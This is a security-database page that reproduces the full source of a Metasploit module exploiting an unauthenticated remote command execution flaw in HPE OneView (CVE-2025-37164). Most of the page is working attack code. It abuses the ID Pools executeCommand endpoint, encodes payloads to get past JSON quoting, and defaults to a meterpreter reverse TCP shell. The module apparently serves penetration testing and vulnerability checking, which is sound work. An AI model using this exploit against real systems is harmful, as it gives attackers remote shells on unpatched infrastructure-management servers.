METASPLOIT 10 CRITICAL

HPE OneView unauthenticated RCE_MSF:EXPLOIT-LINUX-HTTP-HPE_ONEVIEW_RCE-

10 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Description

This module exploits an unauthenticated RCE vulnerability, CVE-2025-37164, against Hewlett Packard Enterprise HPE OneView. All versions below 11.00 are vulnerable so long as the vendor supplied hotfix has not been applied, however some VM product...
Visit Original Source

Basic Information

ID MSF:EXPLOIT-LINUX-HTTP-HPE_ONEVIEW_RCE-
Published Dec 20, 2025 at 18:55

Affected Product

Affected Versions ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'HPE OneView unauthenticated RCE',
'Description' => %q{
This module exploits an unauthenticated RCE vulnerability, CVE-2025-37164, against Hewlett Packard Enterprise
(HPE) OneView. All versions below 11.00 are vulnerable (so long as the vendor supplied hotfix has not been
applied), however some VM product versions do not enable the vulnerable "ID Pools" endpoint, and are not
exploitable.
},
'License' => MSF_LICENSE,
'Author' => [
# Original finder
'Nguyen Quoc Khanh',
# Analysis and exploit
'remmons-r7',
'sfewer-r7'
],
'References' => [
['CVE', '2025-37164'],
# Vendor advisory
['URL', 'https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbgn04985en_us&docLocale=en_US'],
# Rapid7 ETR blog
['URL', 'https://www.rapid7.com/blog/post/etr-cve-2025-37164-critical-unauthenticated-rce-affecting-hewlett-packard-enterprise-oneview/'],
# Rapid7 Analysis
['URL', 'https://attackerkb.com/topics/ixWdbDvjwX/cve-2025-37164/rapid7-analysis']
],
'DisclosureDate' => '2025-12-16',
'Privileged' => false, # Executes as trm3.
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Targets' => [
[
# Successfully tested with the following payloads against OneView 6.60.07:
# cmd/unix/reverse_ncat_ssl
# cmd/linux/http/x64/meterpreter_reverse_tcp
'Default', {
'Payload' => {
'BadChars' => '"\' ',
'Encoder' => 'cmd/ifs'
},
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
}
}
],
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options([OptString.new('TARGETURI', [true, 'Base path', '/'])])
end

def check
# We can pull out the current REST API version number and correlate it back to a major.minor product number
# based on known values. This is informational only, the check routine will leverage the vulnerability to
# identify if the target si actually vulnerable. This is due to the vulnerability not being present on
# some VM versions due to the ID Pool endpoints being disabled.
res_ver = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'rest', 'appliance', 'version')
)

return CheckCode::Unknown('Connection to /rest/appliance/version failed') unless res_ver

return CheckCode::Unknown("Unexpected /rest/appliance/version response code #{res_ver.code}") unless res_ver.code == 200

json_ver = JSON.parse(res_ver.body)

version_string = 'Detected '
version_string += json_ver['modelNumber'] || 'HPE OneView'
version_string += ' version '
version_string += json_ver['softwareVersion'] || 'unknown'

# We leverage the command execution vulnerability to execute a benign command. We test that this command executed
# successfully below. Note, we aren't checking the stdout, so we cannot do a proof-of-execution check like
# "echo $((1+2))" and then test for the result of "3".
cmd = "echo #{SecureRandom.uuid}"

res = execute_cmd(cmd, shell: false)

return CheckCode::Unknown("#{version_string}. Connection failed") unless res

# The vendor hotfix adds an HTTP rewrite rule to force the target endpoint as 404.
# Some Virtual Machine based product versions don't support ID Pools, so report 404 for the missing endpoint.
return CheckCode::Safe("#{version_string}. Target endpoint returned response code #{res.code}") if res.code == 404

return CheckCode::Unknown("#{version_string}. Unexpected response code #{res.code}") unless res.code == 200

j = JSON.parse(res.body)

return Exploit::CheckCode::Vulnerable(version_string) if (j['type'] == 'ExecutableCommand') && (j['cmd'] == cmd) && (j['result'] == true)

CheckCode::Unknown("#{version_string}. Unexpected JSON results")
rescue JSON::ParserError
return CheckCode::Unknown('Failed to parse JSON body')
end

def exploit
res = execute_cmd(payload.encoded, shell: true)

fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Connection failed') unless res

fail_with(Msf::Exploit::Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200

j = JSON.parse(res.body)

fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Response is not of type ExecutableCommand') if j['type'] != 'ExecutableCommand'

# If Runtime.getRuntime().exec succeeds, the "result" will be true. If an IOException was thrown, this is caught and
# the "result" will be false. So we can use this to see if our payload command executed successfully or not.
# We dont fail_with() but rather print_warning() in case the payload executed before the failure
# occurred (i.e. during cleanup).
if j['result'] == false
print_warning('Command execution returned a result of false, likely due to an unexpected IOException server-side')
end
rescue JSON::ParserError
fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Failed to parse JSON body')
end

def execute_cmd(cmd, shell:)
send_request_cgi(
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, 'rest', 'id-pools', 'executeCommand'),
'ctype' => 'application/json',
'data' => {
# As this is in JSON, we cannot have " or ' characters. We mark these as BadChars so Metasploit will use an
# encoder to avoid them. To shell out to /bin/sh -c we need to wrap the arguments in quotes. As we cannot do
# this, we also mark a white space as a BadChar, and use the IFS encoder to encode them. This lets us use
# arbitrary Metasploit command payloads successfully via an unquoted /bin/sh -c PAYLOAD
'cmd' => shell ? "sh -c #{cmd}" : cmd,
'result' => false
}.to_json
)
end
end

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.